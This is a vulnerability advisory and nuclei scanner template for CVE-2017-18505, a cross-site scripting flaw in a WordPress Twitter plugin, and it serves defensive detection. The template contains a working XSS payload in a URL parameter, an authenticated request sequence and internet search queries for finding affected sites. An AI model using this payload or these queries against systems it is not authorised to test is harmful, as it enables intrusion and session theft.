BestWebSoft's Twitter < 2.55 - Cross-Site Scripting

mediumseverity

6.1CVSS score

1.7%likelihood of exploitation, next 30 days

77%of all CVEs are less likely

Readycheck to confirm it

The twitter-plugin plugin before 2.55 for WordPress has XSS.

Impact

Authenticated attackers can execute arbitrary JavaScript in victims' browsers, potentially stealing session cookies, credentials, or performing actions on behalf of users.

Fix

Update to version 2.55 or later.

How to confirm it

Send: POST /wp-login.php ; GET /wp-admin/admin.php?page=bws_panel&category=%22%3E%3C/script%3E%3Cscript%3Ealert(document.domain)%3C/script%3E ; GET /wp-content/plugins/twitter-plugin/readme.txt
Positive when: status_code_2 == 200 and contains(header_2, "text/html") and contains(body_2, "></script><script>alert(document.domain)</script>\">All</a></li>") and contains(body_3, "Twitter Button by")

Run it with nuclei: nuclei -id CVE-2017-18505 -u <target>

The full check

id: CVE-2017-18505

info:
  name: BestWebSoft's Twitter < 2.55 - Cross-Site Scripting
  author: luisfelipe146
  severity: medium
  description: |
    The twitter-plugin plugin before 2.55 for WordPress has XSS.
  impact: |
    Authenticated attackers can execute arbitrary JavaScript in victims' browsers, potentially stealing session cookies, credentials, or performing actions on behalf of users.
  remediation: |
    Update to version 2.55 or later.
  reference:
    - https://wpscan.com/vulnerability/efd816c3-90d4-40bf-850a-0e4c1a756694
    - https://nvd.nist.gov/vuln/detail/CVE-2017-18505
    - https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2017-18505
    - https://wordpress.org/plugins/twitter-plugin/#developers
  classification:
    cvss-metrics: CVSS:3.0/AV:N/AC:L/PR:N/UI:R/S:C/C:L/I:L/A:N
    cvss-score: 6.1
    cve-id: CVE-2017-18505
    cwe-id: CWE-79
    epss-score: 0.01652
    epss-percentile: 0.76741
    cpe: cpe:2.3:a:bestwebsoft:twitter_button:*:*:*:*:*:wordpress:*:*
  metadata:
    verified: true
    max-request: 3
    vendor: bestwebsoft
    product: twitter_button
    framework: wordpress
    shodan-query: http.html:/wp-content/plugins/twitter-plugin/
    fofa-query: body=/wp-content/plugins/twitter-plugin/
    publicwww-query: "/wp-content/plugins/twitter-plugin/"
  tags: cve,cve2017,wordpress,wpscan,bws-twitter,wp-plugin,xss,authenticated,bestwebsoft,vuln

http:
  - raw:
      - |
        POST /wp-login.php HTTP/1.1
        Host: {{Hostname}}
        Content-Type: application/x-www-form-urlencoded

        log={{username}}&pwd={{password}}&wp-submit=Log+In
      - |
        GET /wp-admin/admin.php?page=bws_panel&category=%22%3E%3C/script%3E%3Cscript%3Ealert(document.domain)%3C/script%3E HTTP/1.1
        Host: {{Hostname}}
      - |
        GET /wp-content/plugins/twitter-plugin/readme.txt HTTP/1.1
        Host: {{Hostname}}

    matchers:
      - type: dsl
        dsl:
          - 'status_code_2 == 200'
          - 'contains(header_2, "text/html")'
          - 'contains(body_2, "></script><script>alert(document.domain)</script>\">All</a></li>")'
          - 'contains(body_3, "Twitter Button by")'
        condition: and

References

Use this check only on systems you are authorised to test. Where the data comes from